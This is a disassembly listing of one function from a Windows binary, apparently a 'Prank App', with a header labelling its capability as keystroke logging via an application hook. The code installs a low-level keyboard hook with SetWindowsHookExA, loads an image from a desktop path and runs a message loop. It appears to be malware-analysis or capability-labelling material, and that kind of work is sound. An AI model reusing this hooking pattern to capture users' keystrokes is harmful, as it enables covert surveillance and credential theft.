Function at 0x140011465
Capabilities:
Log keystrokes via application hook

Disassembly:
jmp 0x140015840
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140020058]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rcx, [0x140026044]
call fcn.1400110cd
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
movups xmmword [rbp + 0x2f], xmm0
movups xmmword [rbp + 0x3f], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14001150a]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rbx, rax
xor esi, esi
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x31], rsi
mov qword [rbp - 0x29], rsi
lea rax, [rbp - 0x11]
mov qword [rbp - 0x19], rax
lea ecx, [rsi + 0x10]
call fcn.1400114f1
mov qword [rbp - 0x21], rax
lea rcx, [rbp - 0x49]
mov qword [rax], rcx
mov qword [rax + 8], rsi
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x31], rsi
mov qword [rbp - 0x29], 0xf
mov byte [rbp - 0x41], sil
lea r8d, [rsi + 0x1a]
lea rdx, str.D:_acanaDesktopTimon.bmp
lea rcx, [rbp - 0x49]
call fcn.1400112da
nop
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 0x10
cmovae rdx, qword [rbp - 0x41]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rdi, rax
test rax, rax
jne 0x14001593f
lea r9d, [rsi + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_load_the_image_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp - 0x49]
call fcn.140011041
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x14001595e
inc rdx
mov rcx, qword [rbp - 0x41]
call fcn.140011014
mov qword [rbp - 0x31], rsi
mov qword [rbp - 0x29], 0xf
mov byte [rbp - 0x41], 0
mov rcx, qword [rbp - 0x49]
mov qword [rbp - 0x49], rsi
mov edx, 0x10
call fcn.140011014
test rdi, rdi
je 0x140015ad4
mov qword [rbp - 9], rsi
mov qword [rbp + 0xf], rsi
mov qword [rbp + 0x17], rsi
lea rax, [rbp - 0x11]
mov qword [rbp - 0x19], rax
mov ecx, 0x10
call fcn.1400114f1
mov qword [rbp - 0x21], rax
lea rcx, [rbp - 9]
mov qword [rax], rcx
mov qword [rax + 8], rsi
mov qword [rbp - 9], rax
mov qword [rbp + 0xf], rsi
mov qword [rbp + 0x17], 0xf
mov byte [rbp - 1], 0
mov r8d, 0xa
lea rdx, str.Prank_App
lea rcx, [rbp - 9]
call fcn.1400112da
nop
lea rdx, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae rdx, qword [rbp - 1]
lea rcx, [rbp - 0x49]
call fcn.1400114e2
nop
lea rcx, [rbp - 0x49]
call fcn.14001143d
nop
lea rcx, [rbp - 0x49]
call fcn.140011041
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x140015a22
inc rdx
mov rcx, qword [rbp - 0x41]
call fcn.140011014
mov qword [rbp - 0x31], rsi
mov qword [rbp - 0x29], 0xf
mov byte [rbp - 0x41], 0
mov rcx, qword [rbp - 0x49]
mov qword [rbp - 0x49], rsi
mov edx, 0x10
call fcn.140011014
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1f]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140015a93
nop word [rax + rax]
lea rcx, [rbp + 0x1f]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1f]
call qword [sym.imp.USER32.dll_DispatchMessageA]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1f]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140015a60
lea rcx, [rbp - 9]
call fcn.140011041
mov rdx, qword [rbp + 0x17]
cmp rdx, 0x10
jb 0x140015ab2
inc rdx
mov rcx, qword [rbp - 1]
call fcn.140011014
mov qword [rbp + 0xf], rsi
mov qword [rbp + 0x17], 0xf
mov byte [rbp - 1], 0
mov rcx, qword [rbp - 9]
mov qword [rbp - 9], rsi
mov edx, 0x10
call fcn.140011014
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14001112c
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret